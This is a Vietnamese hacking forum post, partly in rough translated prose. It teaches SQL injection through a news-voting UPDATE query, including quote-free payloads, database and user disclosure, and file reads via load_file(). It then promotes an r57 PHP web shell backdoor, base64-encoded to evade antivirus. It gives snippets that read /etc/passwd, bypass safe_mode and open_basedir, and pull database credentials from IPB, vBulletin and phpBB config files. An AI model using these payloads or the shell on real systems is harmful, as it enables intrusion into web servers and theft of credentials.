$sql = "UPDATE news SET Votes=Votes+1, score=score+$note WHERE idnews='$id'"; Tôi lấy ví dụ này bởi vì nó thông qua một yêu cầu của kiểu này mà tôi thấy sâu hơn trong kiến thức của tôi về injection sql trong các yêu cầu update , Chính xác trong php-nuke (cái nì là tiếng pháp dịch kô biết có chuẩn kô), và tôi tìm thấy lỗi trong các dịch vụ khác (directories of bonds…). Điều ở đây không dính líu đến biến #,sự thay đổi của nó sẽ không hữu ích cho chúng ta , từ đó một kẻ có thể Vote cho mỗi tin tức. Do đó có thể thấy rằng yêu cầu tăng “Votes”, là số các người bầu cử và thêm vào “score” score mới đã chọn. Ban đầu đã thông báo là bằng việc bổ sung một yêu cầu chính xác,có thể thay đổi vài trường của tin tức đã chọn. Ví dụ cho biến $id giá trị 12 và biến $note giá trị 3,title=’hop’ ,sẽ thu được truy vấn: UPDATE news SET Votes=Votes+1, score=score+3, title='hop' WHERE idnews='12 ' từ đó một voter sẽ được thêm,và sẽ tăng 3 điểm và thay đổi tựa đề của tin tức số 12 vào trong ‘hop’. Một điểm thú vị hơn một injection có thể mang lại ,hơn magic_quotes_gpc ở vị trí ON hoặc OFF trong truy vấn này ,cái là vấn đề chính trong injection sql với php. Thực sự rằng biến có thể thay đổi $note không được bao quanh bởi các dấu ngoặc kép và các apastrophe. Dó dó có thể thay đổi đích của truy vấn và không sử dụng ‘ hoặc của “ ,và do đó không có vấn đề với cấu hình bộ lọc của php. Ví dụ về injection không sử dụng ‘ (dấu nháy đơn) cũng như “ (dấu nháy kép) : cho biến $note giá trị 3, Votes=0 ->truy vấn: UPDATE news SET Votes=Votes+1, score=score+3, Votes=0 WHERE idnews='12' Rõ ràng rằng không thể thay đổi chỉ các thiết đặt (tại lần trình bày đầu tiên), bởi vì để xác định tank,varchar,text,…cần thiết sử dụng ‘ hoặc “ (title=’hop’). Ở đây hàm chuyển đổi các xâu kí tự xen vào giữa.Ví dụ,hàm Mysql char() trả lại giá trị thích hợp với các con số để ở dạng ascii. Do đó char(97,98,99) “abc will be worth “. Do đó có thể chèn text vì không bị khoá bởi magic_quotes_gpc.Ví dụ thay đổi tựa đề trong “hop”, sẽ có thể cho biến $note giá trị 3,title=char(104,111,112),như câu truy vấn sau: UPDATE news SET Votes=Votes+1, score=score+3, title=char(104,111,112) WHERE idnews='12' Có thể dễ dàng có giá trị hexa thông qua sql bằng cách sử dụng hàm ascii() hoặc ord() . ASCII(‘h’) và ORD(‘h’) trả lại 104. Cũng có thể sử dụng với các kí tự mà không có ‘ hoặc “ dựa theo sự kiện rằng sql nhận ra kí tự hexa trực tiếp và chuyển đổi chúng.Ví dụ 0x616263 là giống với “ABC”. Do đó có thể gán cho biến $note giá trị 3, title=0x616263, tựa đề đã được thay đổi trong “ABC” bởi vì truy vấn mang lại là: UPDATE news SET Votes=Votes+1, score=score+3, title=0x616263 WHERE idnews='12' Cuối cùng khả năng thứ ba là sử dụng hàm conv(), hàm này chuyển từ giá trị cơ bản sang một giá trị khác (base minimum 2, maximum 36). Ví dụ có thể cho biến $note giá trị 3, title=conv(10202210,3,16), 3, title=conv(5274,8,16),vv…để chuyển đổi title trong “ABC”. Áp dụng gì với hàm này ? Khi biết giá trị cho biến đầu tiên,quá đủ để convert in other direction, I.E. có thể mang lại select conv(“abc”,16,3), conv(“abc”,16,8). Vài thông tin có thể rút ra dựa trên các hàm database() và user() hoặc system_user ; current_user() hoặc là session_user ,chúng trả lại tên của current base và của current user. Do đó ở đó sẽ là tên của cơ sở dữ liệu đã sử dụng trong tựa đề trong khi phân cho các biến giá trị : $note: 3, title=database(), như truy vấn sau: UPDATE news SET Votes=Votes+1, score=score+3, title=DATABASE() WHERE idnews='12' Cuối cùng chúng ta nói về một hàm rất thú vị, nhưng hiếm khi áp dụng, đó là hàm load_file(). Như tên của nó đã nói,nó đặt một file vào một biến.Chính xác hơn nó đọc và chuyển giao như một dây chuyền nội dung của file đã được đặt trong biến. Có vài điều kiện sử dụng nó: -file phải sẵn sàng phục vụ. -đường dẫn đầy đủ phải được chỉ ra. -phải có đặc quyền slips by -phải có thể đọc được bởi tất cả mọi người (nobody). -file phải nhỏ hơn max_allowed_packet Khi mà tất cả các điều kiện trên được thỏa mãn thì có thể chuyển file trong cơ sở dữ liệu. Trường mà có thể chứa đựng hầu hết các kí tự là trường “news” (dạng file text), do đó đây là một cái có thể lợi dụng được.Ví dụ để copy file /tmp/picture (ví dụ của mysql bắt đầu không sử dụng như truyền thống /etc/passwd) trong trường news của news 12,có thể gán cho biến $note giá trị 3, news=load_file(‘/tmp/picture’) điều này thể hiện ở câu truy vấn sau: UPDATE news SET Votes=Votes+1, score=score+3, news=LOAD_FILE('/tmp/picture') WHERE idnews='12' Còn gì nữa nhỉ , mấy lão ấy Edit mất roài Giới thiệu con r57 mới ! Backdoor's name: R57shell version: 1.35 coded by: RST/GHC developed by: navaro (VnForce) source: (encoded bằng base64 thôi, nhằm qua mặt ANTI) http://aznatc.info/w/navaro.txt đặc điểm: 1, Thêm 1 số chức năng như là: + Local file inload via mysql + PHP bypass : readfile + view dir (cái này php từ 4.4.4 trở xuống đều dính hết) 2, fix 1 số bug Nói sơ qua: _ con shell này sẽ là 1 tool rất hữu dụng cho attacker nào chơi "local attack" ! + Eval PHP code: Read file: (ex: /etc/passwd) Code: readfile("/etc/passwd"); Code: include("/etc/passwd"); Code: echo ini_get("safe_mode"); echo ini_get("open_basedir"); include("/etc/passwd"); ini_restore("safe_mode"); ini_restore("open_basedir"); echo ini_get("safe_mode"); echo ini_get("open_basedir"); include("/etc/passwd"); run trong cái Eval PHP code này có thể lấy được rất nhiều thông tin ! (trừ khi r00t nó dis mấy function này) Ngoài ra, ta còn có thể lợi dụng cái này để echo những variable trong những file php bị encode = zend, base64, nếu biết rõ variable ! ví dụ: các variable trong file conf_global.php (default) của IPB Code: $INFO['sql_host'] $INFO['sql_database'] $INFO['sql_user'] $INFO['sql_pass'] $INFO['sql_tbl_prefix'] Vb: /includes/config.php (default) Code: $config['Database']['dbname'] $config['MasterServer']['username'] $config['MasterServer']['password'] $config['SpecialUsers']['superadministrators'] $config['Misc']['admincpdir'] phpbb: Code: $dbhost $dbname $dbuser $dbpasswd hình: PHP bypass: + Readfile + View dir + Local file inload Sau khi đã lấy được user + pass database thì ta login, cái này đã được đính thằng vào !